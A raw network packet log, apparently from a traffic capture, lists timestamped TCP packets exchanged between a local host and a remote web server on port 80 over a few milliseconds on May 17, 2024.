May 17, 2024 23:45:15.896244049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896253109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896260977 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896270990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896280050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896291018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896301031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896313906 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896325111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896325111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896325111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896325111 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896337032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896347046 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896356106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896388054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896388054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896388054 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896812916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896927118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896939039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896948099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.896991968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.896991968 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.897012949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897027969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897037029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897046089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897052050 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897061110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897067070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897072077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897078991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.897078991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.897078991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.897078991 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.897087097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897095919 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.897125959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.897125959 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898087978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898116112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898124933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898133993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898144007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898154020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898163080 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898166895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898180962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898180962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898180962 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898192883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898204088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898212910 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898219109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898228884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898237944 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898248911 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.898257971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898257971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898257971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898298979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898298979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.898915052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899087906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899107933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899117947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899126053 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899136066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899144888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899154902 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899166107 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899174929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899174929 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899184942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899194002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899204016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899213076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899221897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899236917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899236917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899236917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899262905 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899262905 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899635077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899645090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899679899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899684906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899684906 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899697065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899705887 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899714947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899724960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899775028 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899775028 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899775028 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899775028 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899784088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899794102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899801970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.899872065 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.899877071 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900336981 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900347948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900356054 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900363922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900381088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900391102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900399923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900409937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900418997 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900428057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900428057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900428057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900428057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900439978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900449038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900459051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900469065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900479078 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.900496006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900496006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900496006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900496006 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.900516987 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901333094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901341915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901352882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901361942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901371002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901381016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901391029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901401043 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901411057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901422024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901432037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901441097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901441097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901441097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901441097 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901452065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901472092 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901483059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901492119 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.901503086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901503086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901503086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901503086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901531935 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.901531935 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902229071 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902237892 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902251005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902266026 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902276039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902285099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902295113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902304888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902316093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902328968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902337074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902337074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902337074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902337074 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902348995 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902359009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902369022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902379036 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.902405977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902405977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902405977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902405977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.902420044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903286934 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903297901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903323889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903335094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903352976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903352976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903352976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903373957 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903471947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903481960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903491020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903654099 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903664112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903671980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903682947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903692007 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903702974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903712988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903712988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903712988 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903733015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903733015 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903743982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903754950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903764009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903768063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903776884 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903799057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903814077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903824091 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903831005 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903840065 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903848886 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.903877974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903877974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903877974 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.903908014 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904557943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904567957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904576063 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904583931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904592991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904603004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904613018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904623032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904628992 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904654026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904654026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904654026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904706955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904714108 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904722929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904732943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904742002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904752016 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904761076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.904793024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904793024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.904793024 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905471087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905481100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905488968 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905498028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905507088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905512094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905519962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905530930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905530930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905541897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905550957 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905560970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905569077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905569077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905569077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905584097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905590057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905601025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905611038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905621052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905630112 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905637026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905637026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905637026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905649900 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905654907 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905666113 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.905730009 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.905730009 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906332970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906343937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906476021 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906476021 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906488895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906498909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906507969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906517982 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906527042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906537056 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906546116 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906555891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906565905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906575918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906584978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906584978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906584978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906584978 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906629086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906629086 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906641006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906651974 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906661034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906670094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906678915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906688929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906698942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906708002 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.906728029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906728029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906728029 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.906750917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907522917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907532930 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907541037 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907550097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907560110 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907571077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907579899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907593966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907593966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907593966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907593966 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907603025 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907612085 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907619953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907645941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907645941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907645941 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907660961 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907668114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907679081 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907686949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907696009 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907700062 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907710075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907718897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907728910 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.907746077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907746077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907746077 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.907778025 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908446074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908454895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908463955 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908472061 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908482075 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908492088 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908502102 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908510923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908520937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908529043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908529997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908529997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908529997 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908541918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908551931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908560991 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908570051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908581018 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:15.908591032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908591032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908591032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908591032 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908623934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.908623934 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:15.909229994 CEST	80	49707	5.42.96.170	192.168.2.5
